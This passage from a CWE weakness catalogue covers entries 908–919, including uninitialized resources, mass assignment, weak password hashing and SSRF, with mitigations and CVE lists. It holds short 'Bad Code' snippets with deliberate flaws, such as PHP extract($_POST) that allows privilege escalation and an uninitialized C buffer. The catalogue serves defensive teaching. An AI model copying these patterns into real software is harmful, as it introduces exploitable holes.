Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Confidentiality

#### Read memory

#### Read application data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.



**Availability****DoS: crash / exit / restart**

The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.

**Likelihood of Exploit**

Medium

**Demonstrative Examples****Example 1:**

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

**Java Example:***Bad Code*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

**Example 2:**

The following code intends to limit certain operations to the administrator only.

**Perl Example:***Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

**Example 3:**

The following code intends to concatenate a string to a variable and print the string.

**C Example:***Bad Code*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.



## Potential Mitigations

### Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps.

### Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

### Implementation

Avoid race conditions (CWE-362) during initialization routines.

### Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	452	Initialization and Cleanup Errors	<b>699</b>	766
ChildOf	<b>B</b>	665	Improper Initialization	<b>1000</b>	1027
CanPrecede	<b>B</b>	908	Use of Uninitialized Resource	1000	1330
ParentOf	<b>B</b>	456	Missing Initialization of a Variable	<b>1000</b>	770

# CWE-910: Use of Expired File Descriptor

Weakness ID: 910 (Weakness Base)

Status: Incomplete

## Description

### Summary

The software uses or accesses a file descriptor after it has been closed.

### Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

## Alternate Terms

**Stale file descriptor**

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- C (Sometimes)
- C++ (Sometimes)
- Language-independent

## Common Consequences

### Confidentiality

#### Read files or directories

The program could read data from the wrong file.

### Availability

#### DoS: crash / exit / restart

Accessing a file descriptor that has been closed can cause a crash.

## Likelihood of Exploit

Medium

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	699	766
ChildOf	B	672	Operation on a Resource after Expiration or Release	1000	1039

## CWE-911: Improper Update of Reference Count

Weakness ID: 911 (Weakness Base)

Status: Incomplete

## Description

## Summary

The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

## Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- C (Sometimes)
- C++ (Sometimes)
- Language-independent

## Likelihood of Exploit

Medium

## Observed Examples

Reference	Description
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.
CVE-2004-0114	Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory.
CVE-2006-3741	chain: improper reference count tracking leads to file descriptor consumption
CVE-2007-1383	chain: integer overflow in reference counter causes the same variable to be destroyed twice.
CVE-2007-1700	Incorrect reference count calculation leads to improper object destruction and code execution.
CVE-2008-2136	chain: incorrect update of reference count leads to memory leak.
CVE-2008-2785	chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use.
CVE-2008-5410	Improper reference counting leads to failure of cryptographic operations.
CVE-2009-1709	chain: improper reference counting in a garbage collection routine leads to use-after-free
CVE-2009-3553	chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free.
CVE-2009-3624	Reference count not always incremented, leading to crash or code execution.
CVE-2010-0176	improper reference counting leads to expired pointer dereference.
CVE-2010-0623	OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash.
CVE-2010-2549	OS kernel driver allows code execution
CVE-2010-4593	improper reference counting leads to exhaustion of IP addresses
CVE-2011-0695	Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference.
CVE-2012-4787	improper reference counting leads to use-after-free

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		452	Initialization and Cleanup Errors	699	766
ChildOf		664	Improper Control of a Resource Through its Lifetime	1000	1026
CanPrecede		672	Operation on a Resource after Expiration or Release	1000	1039
CanPrecede		772	Missing Release of Resource after Effective Lifetime	1000	1183

### References

Mateusz "j00ru" Jurczyk. "Windows Kernel Reference Count Vulnerabilities - Case Study". November 2012. < [http://j00ru.vexillium.org/dump/zn\\_slides.pdf](http://j00ru.vexillium.org/dump/zn_slides.pdf) >.

## CWE-912: Hidden Functionality

Weakness ID: 912 (Weakness Class) Status: Incomplete

### Description

#### Summary

The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.

#### Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Common Consequences

##### Other

##### Integrity

Varies by context

Alter execution logic

#### Potential Mitigations

##### Installation

Always verify the integrity of the software that is being installed.

##### Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		505	Intentionally Introduced Weakness	699	850
ChildOf		710	Coding Standards Violation	1000	1109
ParentOf		506	Embedded Malicious Code	1000	851
ParentOf		514	Covert Channel	1000	858

## CWE-913: Improper Control of Dynamically-Managed Code Resources

Weakness ID: 913 (Weakness Class) Status: Incomplete

### Description

**Summary**

The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

**Extended Description**

Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences****Integrity**

Execute unauthorized code or commands

**Other****Integrity**

Varies by context

Alter execution logic








**Potential Mitigations****Implementation****Input Validation**

For any externally-influenced input, check the input against a white list of acceptable values.

**Implementation****Architecture and Design****Refactoring**

Refactor the code so that it does not need to be dynamically managed.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		505	Intentionally Introduced Weakness	699	850
ChildOf		664	Improper Control of a Resource Through its Lifetime	1000	1026
ParentOf		94	Improper Control of Generation of Code ('Code Injection')	1000	173
ParentOf		470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1000	789
ParentOf		502	Deserialization of Untrusted Data	699 1000	847
ParentOf		914	Improper Control of Dynamically-Identified Variables	1000	1337
ParentOf		915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	699 1000	1339

## CWE-914: Improper Control of Dynamically-Identified Variables

Weakness ID: 914 (Weakness Base)

Status: Incomplete

**Description****Summary**

The software does not properly restrict reading from or writing to dynamically-identified variables.

**Extended Description**

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

**Time of Introduction**

- Architecture and Design
- Implementation

### Common Consequences

#### Integrity

##### Modify application data

An attacker could modify sensitive data or program variables.

#### Integrity

##### Execute unauthorized code or commands

#### Other

#### Integrity

##### Varies by context

##### Alter execution logic

### Demonstrative Examples

This code uses the credentials sent in a POST request to login a user.

#### PHP Example:

*Bad Code*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this case `$isAdmin`. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

### Observed Examples

Reference	Description
CVE-2006-2828	<code>import_request_variables()</code> buried in include files makes post-disclosure analysis confusing
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.
CVE-2006-6661	<code>extract()</code> enables static code injection
CVE-2006-7079	<code>extract</code> used for <code>register_globals</code> compatibility layer, enables path traversal
CVE-2006-7135	<code>extract</code> issue enables file inclusion
CVE-2007-0649	<code>extract()</code> buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected <code>\$_SERVER</code> variable for resultant XSS.
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.

### Potential Mitigations

#### Implementation

##### Input Validation

For any externally-influenced input, check the input against a white list of internal program variables that are allowed to be modified.

#### Implementation

##### Architecture and Design

##### Refactoring

Refactor the code so that internal program variables do not need to be dynamically identified.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	99	Improper Control of Resource Identifiers ('Resource Injection')	1000	190
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1000	1336
ParentOf	B	621	<i>Variable Extraction Error</i>	699	969
				1000	
ParentOf	B	627	<i>Dynamic Variable Evaluation</i>	699	975
				1000	

## CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID: 915 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

#### Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

### Alternate Terms

#### Mass Assignment

"Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

#### AutoBinding

The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

#### Object injection

This term seems to be preferred by some PHP application researchers who attack unsafe use of the unserialize() function.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Ruby
- ASP.NET
- PHP
- Python
- Language-independent

### Common Consequences

#### Integrity

##### Modify application data

An attacker could modify sensitive data or program variables.

#### Integrity

##### Execute unauthorized code or commands

#### Other

#### Integrity

##### Varies by context

##### Alter execution logic

### Observed Examples

Reference	Description
CVE-2005-2875	Python script allows remote attackers to execute arbitrary code using pickled objects.
CVE-2007-5741	Content management system written in Python interprets untrusted data as pickles, allowing code execution.
CVE-2008-1013	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution.
CVE-2008-7310	Attackers can bypass payment step in e-commerce software.
CVE-2009-4137	Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files.
CVE-2010-3258	Incorrect deserialization in web browser allows escaping the sandbox.
CVE-2011-2520	Python script allows local users to execute code via pickled data.
CVE-2011-2894	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code.
CVE-2011-4962	Content management system written in PHP allows code execution through page comments.
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
CVE-2012-1833	Grails allows binding of arbitrary parameters to modify arbitrary object properties.
CVE-2012-2054	Mass assignment allows modification of arbitrary attributes using modified URL.
CVE-2012-2055	Source version control product allows modification of trusted key using mass assignment.
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution.
CVE-2013-0277	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code.
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.

## Potential Mitigations

### Implementation

If available, use features of the language or framework that allow specification of white lists of attributes or fields that are allowed to be modified. If possible, prefer white lists over black lists. For applications written with Ruby on Rails, use the `attr_accessible` (white list) or `attr_protected` (black list) macros in each class that may be used in mass assignment.

### Architecture and Design

#### Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

#### Implementation

#### Input Validation

For any externally-influenced input, check the input against a white list of internal object attributes or fields that are allowed to be modified.

#### Implementation

### Architecture and Design

#### Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	V	Page
PeerOf	V	502	Deserialization of Untrusted Data	1000	847
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	<b>699</b> <b>1000</b>	1336

## References



Stefan Esser. "Shocking News in PHP Exploitation". 2009. < <http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf> >.

Dinis Cruz. ""Two Security Vulnerabilities in the Spring Framework's MVC" pdf (from 2008)". < <http://blog.diniscruz.com/2011/07/two-security-vulnerabilities-in-spring.html> >.

Ryan Berg and Dinis Cruz. "Two Security Vulnerabilities in the Spring Framework's MVC". < [http://o2platform.files.wordpress.com/2011/07/ounce\\_springframework\\_vulnerabilities.pdf](http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf) >.

ASPNETUE . "Best Practices for ASP.NET MVC". 2010-09-17. < [http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second\\_2d00\\_post.aspx](http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second_2d00_post.aspx) >.

Michael Hartl. "Mass assignment in Rails applications". 2008-09-21. < <http://blog.mhertl.com/2008/09/21/mass-assignment-in-rails-applications/> >.

Tobi. "Secure your Rails apps!". 2012-03-06. < <http://pragtop.wordpress.com/2012/03/06/secure-your-rails-apps/> >.

Heiko Webers. "Ruby On Rails Security Guide". < <http://guides.rubyonrails.org/security.html#mass-assignment> >.

Josh Bush. "Mass Assignment Vulnerability in ASP.NET MVC". 2012-03-05. < <http://freshbrewedcode.com/joshbush/2012/03/05/mass-assignment-aspnet-mvc/> >.

K. Scott Allen. "6 Ways To Avoid Mass Assignment in ASP.NET MVC". 2012-03-12. < <http://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx> >.

Egidio Romano. "PHP Object Injection". 2013-01-22. < [https://www.owasp.org/index.php/PHP\\_Object\\_Injection](https://www.owasp.org/index.php/PHP_Object_Injection) >.

Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. < <http://heine.familiedeelstra.com/security/unserialize> >.

Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. < <http://nadiana.com/python-pickle-insecure> >.

#### Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

## CWE-916: Use of Password Hash With Insufficient Computational Effort

Weakness ID: 916 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

#### Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker. There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")

The amount of memory required to compute the hash ("memory-hard" operations) Including a random value, along with the password, as input to the hash computation ("salting") Given a hash, there is no known way of determining a password that produces this hash value, other than by guessing possible passwords ("one-way" hashing) Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance") Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

##### Gain privileges / assume identity

If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.

#### Detection Methods

##### Automated Static Analysis - Binary / Bytecode

###### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

##### Manual Static Analysis - Binary / Bytecode

###### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

##### Manual Static Analysis - Source Code

###### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

##### Automated Static Analysis - Source Code

###### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Automated Static Analysis****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Observed Examples**

Reference	Description
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks.
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash.

**Potential Mitigations****Architecture and Design****High**

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.916.1], scrypt [R.916.2], and PBKDF2 [R.916.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

**Implementation****Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	Page	Page
ChildOf	⊖	327	Use of a Broken or Risky Cryptographic Algorithm	699 1000	573
ParentOf	⊕	759	Use of a One-Way Hash without a Salt	1000	1153
ParentOf	⊕	760	Use of a One-Way Hash with a Predictable Salt	1000	1157

**References**

- [REF-45] Johnny Shelley. "bcrypt". < <http://bcrypt.sourceforge.net/> >.
- [REF-39] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < <http://www.tarsnap.com/scrypt.html> >.
- [REF-40] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. < <http://tools.ietf.org/html/rfc2898> >.
- [REF-38] Coda Hale. "How To Safely Store A Password". 2010-01-31. < <http://codahale.com/how-to-safely-store-a-password/> >.
- [REF-41] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. < <http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/> >.
- [REF-42] Solar Designer. "Password security: past, present, future". 2012. < <http://www.openwall.com/presentations/PHDays2012-Password-Security/> >.
- [REF-43] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. < <http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html> >.
- [REF-44] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. < <http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/> >.
- Jeff Atwood. "Speed Hashing". 2012-04-06. < <http://www.codinghorror.com/blog/2012/04/speed-hashing.html> >.
- OWASP. "Password Storage Cheat Sheet". < [https://www.owasp.org/index.php/Password\\_Storage\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) >.
- Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. < <http://www.securityfocus.com/blogs/262> >.
- Solar Designer. "Password hashing at scale". October 1, 2012. < <http://www.openwall.com/presentations/YaC2012-Password-Hashing-At-Scale/> >.
- Solar Designer. "New developments in password hashing: ROM-port-hard functions". November, 2012. < <http://www.openwall.com/presentations/ZeroNights2012-New-In-Password-Hashing/> >.
- Robert Graham. "The Importance of Being Canonical". 2009-02-02. < <http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html> >.

## CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID: 917 (*Weakness Base*)

Status: Incomplete

**Description****Summary**

The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

**Alternate Terms****EL Injection****Time of Introduction**

- Architecture and Design
- Implementation


**Applicable Platforms****Languages**

- Java

**Common Consequences****Confidentiality**

Read application data

**Integrity****Execute unauthorized code or commands****Weakness Ordinalities****Primary** (where the weakness exists independent of other weaknesses)**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	<b>699</b> <b>1000</b>	117

**Relationship Notes**

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

**References**

Stefano Di Paola and Arshan Dabirsiaghi. "Expression Language Injection". < <http://www.mindedsecurity.com/files/ExpressionLanguageInjection.pdf> >.

Dan Amodio. "Remote Code with Expression Language Injection". 2012-12-14. < <http://danamodio.com/application-security/discoveries/spring-remote-code-with-expression-language-injection/> >.

## CWE-918: Server-Side Request Forgery (SSRF)

**Weakness ID:** 918 (Weakness Base)**Status:** Incomplete**Description****Summary**

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

**Extended Description**

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

**Alternate Terms****XSPA**

Cross Site Port Attack

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- Language-independent

**Architectural Paradigms**

- Web-based

**Technology Classes**

- Web-Server

**Common Consequences****Confidentiality**

Read application data


**Integrity**

Execute unauthorized code or commands

**Observed Examples**

Reference	Description
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.
CVE-2004-2061	CGI script accepts and retrieves incoming URLs.
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	<b>699</b>	753 <b>1000</b>

### Relationship Notes

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

### References

Alexander Polyakov and Dmitry Chastukhin. "SSRF vs. Business-critical applications: XXE tunneling in SAP". 2012-07-26. < [https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH\\_US\\_12\\_Polyakov\\_SSRF\\_Business\\_Slides.pdf](https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf) >.

Alexander Polyakov, Dmitry Chastukhin and Alexey Tyurin. "SSRF vs. Business-critical Applications. Part 1: XXE Tunnelling in SAP NetWeaver". < <http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Business-critical-applications-whitepaper.pdf> >.

Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 1". 2012-11-07. < <http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html> >.

Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 2". 2012-11-13. < <http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.html> >.

Riyaz Ahemed Walikar. "Cross Site Port Attacks - XSPA - Part 3". 2012-11-14. < <http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html> >.

Vladimir Vorontsov and Alexander Golovko. "SSRF attacks and sockets: smorgasbord of vulnerabilities". < <http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities> >.

ONsec Lab. "SSRF bible. Cheatsheet". 2013-01-26. < <https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1#> >.

Deral Heiland. "Web Portals: Gateway To Information, Or A Hole In Our Perimeter Defenses". February 2008. < <http://www.shmoocon.org/2008/presentations/Web%20portals,%20gateway%20to%20information.ppt> >.

## CWE-919: Weaknesses in Mobile Applications

View ID: 919 (View: *Implicit Slice*)

Status: Incomplete

### Objective

CWE entries in this view (slice) are often seen in mobile applications.

### View Data

#### Filter Used:

//@Architectural\_Paradigm\_Name='Mobile Application'

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>19</b>	out of	<b>1003</b>
<b>Views</b>	<b>0</b>	out of	<b>32</b>
<b>Categories</b>	<b>0</b>	out of	<b>244</b>
<b>Weaknesses</b>	<b>19</b>	out of	<b>719</b>
<b>Compound Elements</b>	<b>0</b>	out of	<b>8</b>

### CWEs Included in this View



Type	ID	Name
C	200	Information Exposure
C	250	Execution with Unnecessary Privileges
B	295	Improper Certificate Validation
V	297	Improper Validation of Certificate with Host Mismatch
B	312	Cleartext Storage of Sensitive Information
B	319	Cleartext Transmission of Sensitive Information
C	359	Exposure of Private Information ('Privacy Violation')
B	511	Logic/Time Bomb
B	672	Operation on a Resource after Expiration or Release
B	772	Missing Release of Resource after Effective Lifetime
B	798	Use of Hard-coded Credentials
B	920	Improper Restriction of Power Consumption
B	921	Storage of Sensitive Data in a Mechanism without Access Control
V	925	Improper Verification of Intent by Broadcast Receiver
V	926	Improper Export of Android Application Components
V	927	Use of Implicit Intent for Sensitive Communication
B	939	Improper Authorization in Handler for Custom URL Scheme
